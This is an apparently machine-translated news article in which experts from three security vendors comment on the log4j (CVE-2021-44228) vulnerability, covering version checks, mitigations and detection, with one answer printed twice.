IT security experts comment on the log4j security gap for which the BSI has declared the warning level red. Experts from Barracuda Networks, Radar Cyber Security and ForeNova provide an assessment of the situation.
Jonathan Tanner, Senior Security Researcher at Barracuda Networks
Jonathan Tanner, Senior Security Researcher at Barracuda Networks: "Since this vulnerability allows the execution of remote code, the risks are quite high." (Image: Barracuda Networks).
How can companies identify this weak point in their technology and what are the risks if it is not remedied?
“First you should check whether a version of log4j prior to 2.15.0 is being used, including the dependencies. Both Maven and Gradle - both Java-based build management tools - offer the option of printing out the entire dependency tree for a project. In this way it can be determined whether a vulnerable version of log4j is being used or not. Even with version 2.15.0 or higher you should ensure that the system property formatMsgNoLookups is not set to 'true'.
The only reason this version is not vulnerable is that it has set the default value from true to false. In some versions of log4j, this property can be easily set to false manually to mitigate the vulnerability. If the application does not require LDAP as part of its legitimate use, it is also possible to block all LDAP traffic with a firewall or web application filter to prevent remote code from being reached should the vulnerability be exploited .
However, these only check whether log4j is able to exploit this RCE vulnerability or not. Whether or not a system is genuinely vulnerable to attack is a much more complicated matter without a single test like the one from vulnerabilities like HeartBleed. To exploit this vulnerability, an attacker would have to carry out a log injection attack. Finding them is a much more complex process, but basically any place where input from a user (or a potential attacker) is logged can be vulnerable to this attack.
In order to test an actual RCE, one would have to try to find a way to make a JNDI-LDAP request within the protocols from the user context itself (e.g. via the website or the API, if the potentially affected application has a Web application is). Because this vulnerability allows remote code execution, the risks are quite high. An attacker could possibly break into the network and try to access important resources and data from there. "
What role did open source play in this vulnerability, and what are the top security considerations for companies using tools like log4j?
“Since log4j is a very popular open source library, the number of vulnerable applications was certainly higher. In general, any software can be vulnerable to attack, and popular open source software often has a large ecosystem that searches for and fixes security threats. While open source software makes the most of the headlines when major vulnerabilities are found, that doesn't mean it is relatively less secure (and in fact, it is likely much more secure than proprietary code or less popular libraries). Its widespread use only increases the likelihood that vulnerabilities will be found, not necessarily the likelihood that they exist.
When looking for open source libraries, companies should choose large, reputable, and well-maintained projects like log4j for the reasons listed above. Of course there can still be vulnerabilities, but it is more likely that the community will find and fix these vulnerabilities and also check that the code is free of bugs that could cause vulnerabilities in the first place than with smaller projects.
Even for those whose applications are not vulnerable to CVE-2021-44228 or who do not use log4j for logging at all, this vulnerability is definitely a wake-up call to the fact that log injection is a potential method an attacker could use. It is worth checking that all user input that is logged is properly sanitized in each application, regardless of which logging system or even which programming language is used. Although other forms of injection are far more common and the focus of interest, log injection is still a form of injection attack and therefore falls into the OWASP Top 10 Vulnerabilities. "
How can companies identify this weak point in their technology and what are the risks if it is not remedied?
“First you have to check whether a version of log4j prior to 2.15.0 is being used, including the dependencies. Both Maven and Gradle - both Java-based build management tools - offer the option of printing out the entire dependency tree for a project. In this way it can be determined whether a vulnerable version of log4j is being used or not. Even with version 2.15.0 or higher you should ensure that the system property formatMsgNoLookups is not set to 'true'. The only reason this version is not vulnerable is because it has set the default value from true to false.
In some versions of log4j, this property can be easily set to false manually to mitigate the vulnerability. If the application does not require LDAP as part of its legitimate use, it is also possible to block all LDAP traffic with a firewall or web application filter to prevent remote code from being reached should the vulnerability be exploited . However, these only check whether log4j is able to exploit this RCE vulnerability or not. Whether or not a system is truly vulnerable to an attack is a much more complicated matter without a single test like vulnerabilities like HeartBleed had.
To exploit this vulnerability, an attacker would have to carry out a log injection attack. Finding them is a much more complex process, but basically any place where input from a user (or a potential attacker) is logged can be vulnerable to this attack. In order to test an actual RCE, one would have to try to find a way to make a JNDI-LDAP request within the protocols from the user context itself (e.g. via the website or the API, if the potentially affected application has a Web application is).
Because this vulnerability allows remote code to be executed, the risks in the event of a security breach are quite high. An attacker could possibly break into the network and try to access important resources and data from there. "
More at Barracuda.com
Lothar Hänsler, COO at Radar Cyber Security
Lothar Hänsler, COO at Radar Cyber Security: "The weak point is relatively easy to exploit, attacks can easily be concealed." (Image: Radar Cyber Security).
What happened anyway?
“Last weekend, a vulnerability was identified in the log4j2 module from Apache.org and it was quickly given a CVSS score of 10, the highest criticality level. Authorities such as the Federal Office for Information Security (BSI) have also quickly raised their risk assessment, which was initially orange, to red. "
What makes this vulnerability so special?
“The weak stables can be exploited relatively easily, attacks can easily be disguised (obfuscation). In addition, defensive measures are not easy to implement. One of the reasons for this is that all mitigation strategies can have risks and side effects on the applications that are affected by the vulnerability. However, the assessments in the expert groups are very dynamic. This means that there are also different perspectives on the mitigation strategies. "
What exactly has Radar Cyber Security done?
“At the weekend we first analyzed the data situation with an incident response, assessed the impact, consulted various sources of information from international platforms such as Computer Emergency Response Teams (CERTs) and designed a strategy for dealing with this threat. On Monday morning we finally sent a security advisory to all of our customers. Our Cyber Defense Center (CDC) has been set to high alert mode.
It now pays special attention to the occurrence of the vulnerability in the log4j2 module, without neglecting the overall security situation. To do this, we have updated the detection modules to verify the exploitation of this vulnerability and to be able to report it to our customers. This ranges from weak point management to classic SIEM services to the individual network analysis tools. At the same time, we started an analysis of our own systems. After the first scan at a first customer, two critical incidents were identified within a very short time. Other special services analyze whether customers are specifically affected by this vulnerability. In extreme cases it may be necessary to switch off systems. "
More at RadarCS.com
Paul Smit, Director Professional Services at ForeNova
Paul Smit, Director Professional Services at ForeNova: "The zero-day gap in log4j is extremely dangerous because it can be exploited directly without explicitly reloading malicious code." (Image: ForeNova).
“The zero-day gap in the widespread Java library log4j is extremely dangerous because the vulnerability can be exploited directly without explicitly reloading malicious code. Whether this will happen immediately or not, however, can only be seen when it is too late. An endpoint may be compromised, but not yet in the hacker's field of vision. Right now, even for small and medium-sized companies, there is a need to think of network detection and response and endpoint detection and response together as a comprehensive defense strategy. EDR sees whether the malware has been installed and organizes the defense on the endpoint.
See the past with NDR
With NDR, you can also see retrospectively in logging data which external systems hackers attempted to access. NDR also sees typical data traffic that results from such an access attempt, such as communication with the C2C servers, port scanning and specific data traffic. NDR also allows the blocking and segmenting of networks or the quarantine of systems - a measure that must be taken in case of doubt. An NDR solution like NovaComand also analyzes telemetry data from endpoints. NovaCommand has released a patch and updated the rules for detecting such an attack. NovaCommand also triggers other third-party solutions to block and segment affected systems and network sections. "
More at ForeNova.com
Matching articles on the topic